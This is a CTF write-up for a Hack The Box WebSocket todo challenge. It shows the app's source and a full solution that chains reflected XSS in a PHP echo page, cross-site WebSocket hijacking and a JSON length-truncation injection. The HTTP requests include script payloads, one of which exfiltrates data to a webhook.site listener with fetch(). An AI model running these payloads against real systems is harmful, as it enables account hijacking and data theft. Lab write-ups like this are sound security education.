This WebSockets-based Todo application features ✨millitary-grade encryption✨ and is extremely low-latency. Ideal for busy students and working professionals alike.
/todo//routes/index.js
const express = require('express');
const expressWs = require('@wll8/express-ws');
const crypto = require('crypto');
const { doReportHandler } = require('../util/report');
const { encrypt, decrypt } = require('../util/crypto');
let db;
let sessionParser;
const router = express.Router();
router.get('/', (req, res) => {
return res.render('index.pug');
});
router.get('/login', (req, res) => {
return res.render('login.pug');
});
router.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (!username || !password) {
return res.status(400).json({ error: 'Missing username or password' });
}
if (result = await db.loginUser(username, password)) {
req.session.userId = result.id;
return res.status(200).json({ success: 'User logged in' });
} else {
return res.status(400).json({ error: 'Invalid username or password' });
}
});
router.get('/register', (req, res) => {
return res.render('register.pug');
});
router.post('/register', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (!username || !password) {
return res.status(400).json({
error: 'Missing username or password'
});
}
if (password.length < 8) {
return res.status(400).json({
error: 'Password must be at least 8 characters long'
});
}
if (await db.userExists(username)) {
return res.status(400).json({ error: 'User already exists' });
} else {
const secret = crypto.randomBytes(16).toString('hex');
await db.registerUser(username, password, secret);
return res.status(200).json({ success: 'User registered' });
}
return res.status(200).json({ success: true });
});
router.get('/secret', async (req, res) => {
const result = await db.getSecret(req.session.userId);
if (result) {
return res.status(200).json({ secret: result });
}
return res.status(400).json({ error: 'No secret found' });
});
router.post('/decrypt', async (req, res) => {
if (!req.body.secret) {
return res.status(400).json({ error: 'Missing secret' });
}
if (!req.body.cipher) {
return res.status(400).json({ error: 'Missing cipher' });
}
try {
const result = decrypt(req.body.cipher, req.body.secret);
return res.status(200).json({ decrypted: result });
} catch (e) {
return res.status(400).json({ error: 'Invalid key or cipher' });
}
});
// Report any suspicious activity to the admin!
router.post('/report', doReportHandler);
module.exports = (database, session) => {
db = database;
sessionParser = session;
return router;
};
/todo/wsHandler.js
const { encrypt, decrypt } = require('./util/crypto');
let db;
let sessionParser;
const quotes = [
"Genius is one percent inspiration and ninety-nine percent perspiration.",
"Fate is in your hands and no one elses.",
"Trust yourself. You know more than you think you do."
];
const wsHandler = (ws, req) => {
let userId;
sessionParser(req, {}, () => {
if (req.session.userId) {
userId = req.session.userId;
} else {
ws.close();
}
});
ws.on('message', async (msg) => {
const data = JSON.parse(msg);
const secret = await db.getSecret(req.session.userId);
if (data.action === 'add') {
try {
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
ws.send(JSON.stringify({ success: true, action: 'add' }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'add' }));
}
}
else if (data.action === 'get') {
try {
const results = await db.getTasks(userId);
const tasks = [];
for (const result of results) {
let quote;
if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}
try {
const task = JSON.parse(result.data);
tasks.push({
title: encrypt(task.title, task.secret),
description: encrypt(task.description, task.secret),
quote: encrypt(quote, task.secret)
});
} catch (e) {
console.log(`Error parsing task ${result.data}: ${e}`);
}
}
ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'get' }));
}
}
else {
ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));
}
});
};
module.exports = (database, session) => {
db = database;
sessionParser = session;
return wsHandler;
};
/todo/util/report.js
const puppeteer = require('puppeteer')
// please note that 127.0.0.1 and localhost are considered different hosts
// due to ingress networking rules a container can't reach itself through the it's external IP, so you'd have to use the internal ports (80, 8080) and 127.0.0.1
const LOGIN_URL = "http://127.0.0.1/login";
let browser = null
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
const doReportHandler = async (req, res) => {
if (!browser) {
console.log('[INFO] Starting browser')
browser = await puppeteer.launch({
args: [
"--no-sandbox",
"--disable-background-networking",
"--disk-cache-dir=/dev/null",
"--disable-default-apps",
"--disable-extensions",
"--disable-desktop-notifications",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--disable-dev-shm-usage",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
]
})
}
const url = req.body.url
if (
url === undefined ||
(!url.startsWith('http://') && !url.startsWith('https://'))
) {
return res.status(400).send({ error: 'Invalid URL' })
}
try {
console.log(`[*] Visiting ${url}`)
await visit(url)
console.log(`[*] Done visiting ${url}`)
return res.sendStatus(200)
} catch (e) {
console.error(`[-] Error visiting ${url}: ${e.message}`)
return res.status(400).send({ error: e.message })
}
}
module.exports = { doReportHandler }
/htmltester/index.php
<html>
<body>
<?php if (isset($_GET['html'])): ?>
<?php echo $_GET['html']; ?>
<?php else: ?>
<h1>HTML Tester</h1>
<p>Internal development tool</p>
<form action="index.php" method="get">
<input type="text" name="html" />
<input type="submit" value="Submit" />
</form>
<?php endif; ?>
</body>
</html>
The app is divided into two parts. First app is an expressjs
app to create notes and the second app is a php
app which just reflects user input, perfect for XSS
.
The second app let’s you create notes in todo list. It also let’s you submit a url to the admin of the app for review in report.js
. This is done using puppeteer
. The admin logs in to the app and visits the submitted url. This is a candidate to perform XSS
using the php
app.
The problem is the php
app runs on different port then the js app so performing classic HTTP requests in XSS
to a different origin is blocked by SOP
(Same-origin policy).
To get the flag, admin user has to log in to the app, create at least one note and then retrieve the note, ant there in quote
will be the flag.
The approach is to call /report
with htmltester
url which contains an XSS
. At this stage the admin is logged in and ready to visit our url. The url contains an XSS
that performs the Web Socket
call to add the note and then to retrieve the note.
We are able to do this because SOP
doesn’t apply to websockets. This is called Cross-Site WebSocket Hijacking (CSWSH)
. When we perform XSS
to get added notes (with encrypted flag), we then exfiltrate the result on our listener.
Another problem is that the contents are in encrypted form and we do not know the secret key of the admin. We could potentially call /secret
from the XSS
to extract the secret but this is a standard HTTP call and therefore blocked by SOP
since this call is cross-origin.
When we create a note, our title and description are formed into json
string and then added to the db. There is no length checking and we can perhaps add more bytes to the item then expected.
wsHandler.js
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
The data
entry in the table where our note is added has a max length of 255 chars.
CREATE TABLE todos (
id INT NOT NULL AUTO_INCREMENT,
user_id INT NOT NULL,
data VARCHAR(255) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY (user_id) REFERENCES users(id)
);
After the description the secret is added automatically to encrypt the entries, but if we input the description to be very long, we can push the secret beyong the accepted limit of the VARCHAR
type.
Like this
{"title":"My title","description":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
However, this is not a valid json
and will cause an exception, and the secret is missing now. We have to manually add our own secret at the end. This secret will be used to encrypt the entry when we fetch the notes. Finally, we can use our injected secret to decrypt the items and retrieve the flag.
Like this
{"title":"My title","description":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","secret":"41414141414141414141414141414141"
Inject a note, that contains our secret
POST /report HTTP/1.1
Host: 94.237.63.93:32890
Content-Length: 586
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.63.93:32890
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://94.237.63.93:32890
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: jiveforums.admin.logviewer=logfile.size=23424139; JSESSIONID=node01rp4w74qdl6pk6xnm4hrwm48o7.node0; csrf=R31CsmZmbClSbWi; connect.sid=s%3AXrTQiFRL0eXUDfOR45JNb4etUpnKyUQB.zCbhNwQ%2Bj6W4CHQcWW5bc%2FCLWPSubbYGshChbcQl3F0
Connection: close
{"url":"http://127.0.0.1:8080/index.php?html=<script>const socket = new WebSocket('ws://127.0.0.1/ws');socket.onopen = function(event) {sendMessage()};socket.onmessage = function(event) {};socket.onclose = function(event) {};function sendMessage() {socket.send('{\"action\":\"add\",\"title\":\"admin\",\"description\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\\",\\\\\"secret\\\\\":\\\\\"41414141414141414141414141414141\\\\\"}\"}');}</script>"}
Exfiltrate the note.
POST /report HTTP/1.1
Host: 127.0.0.1
Content-Length: 395
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: jiveforums.admin.logviewer=logfile.size=23424139; JSESSIONID=node01rp4w74qdl6pk6xnm4hrwm48o7.node0; csrf=R31CsmZmbClSbWi; connect.sid=s%3AXrTQiFRL0eXUDfOR45JNb4etUpnKyUQB.zCbhNwQ%2Bj6W4CHQcWW5bc%2FCLWPSubbYGshChbcQl3F0
Connection: close
{"url":"http://127.0.0.1:8080/index.php?html=<script>const socket = new WebSocket('ws://127.0.0.1/ws');socket.onopen = function(event) {sendMessage()};socket.onmessage = function(event) {fetch('http://webhook.site/0ca9321d-5cf7-415d-8f64-8a5eba61d106?'%2bevent.data, {mode: 'no-cors'})};socket.onclose = function(event) {};function sendMessage() {socket.send('{\"action\":\"get\"}');}</script>"}
The result can look like this.
{"{\"title\":{\"iv\":\"865ddefced14da2134f40b8d10e4bb68\",\"content\":\"01bc271256\"},\"description\":{\"iv\":\"e19e14fe7e9c319251800561fe2af133\",\"content\":\"6effc8e9305c1bc3df304b3c19e12601b3062b08f6864115b0bb1dc7301fd40b82b7dcc44852531e81fd472b5b782e4edd13b209c1f57138db2805438a7fd51cab13b0dc55d912e8b9d577afb8884b864ac3864cfa4f010a08bbf51bbe1b95c7eb9e8cb76bb196101393c9de2d052e46ec2f9f11cd04a5eca5902c4a71a7fe452337613cd470e8c545f4619692f25a6621a22a79388b96fa129f945a5d8421ad5a92bd5bc61e4cb8c261bdd43abcd4dd2a\"},\"quote\":{\"iv\":\"18f325c0ee41352a4a74a79b70349b1d\",\"content\":\"e55dd2062b1ad7b0b545411aeffdd0da518aa3b7660c1b21896cbe2344b8626a187ae7aef4c830c09a1eeca820cb566dbe1023996b612b486eb90d16f82f80\"}}":""}
Quote
iv = 18f325c0ee41352a4a74a79b70349b1d
content = e55dd2062b1ad7b0b545411aeffdd0da518aa3b7660c1b21896cbe2344b8626a187ae7aef4c830c09a1eeca820cb566dbe1023996b612b486eb90d16f82f80
secret = 41414141414141414141414141414141
No we can use the method decrypt()
in crypto.js
to decrypt the contents using our secret.
const crypto = require('crypto');
const algorithm = 'aes-256-ctr';
const cipher = {"iv":"18f325c0ee41352a4a74a79b70349b1d","content":"e55dd2062b1ad7b0b545411aeffdd0da518aa3b7660c1b21896cbe2344b8626a187ae7aef4c830c09a1eeca820cb566dbe1023996b612b486eb90d16f82f80"};
//const key = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
const key = '41414141414141414141414141414141';
const decipher = crypto.createDecipheriv(algorithm, key, Buffer.from(cipher.iv, 'hex'));
const decrpyted = Buffer.concat([decipher.update(Buffer.from(cipher.content, 'hex')), decipher.final()]);
console.log(decrpyted.toString());
$ node decrypt.js
A wise man once said, "the flag is HTB{h1j4ck_4ll_th3_th1ngs}".
HTB{h1j4ck_4ll_th3_th1ngs}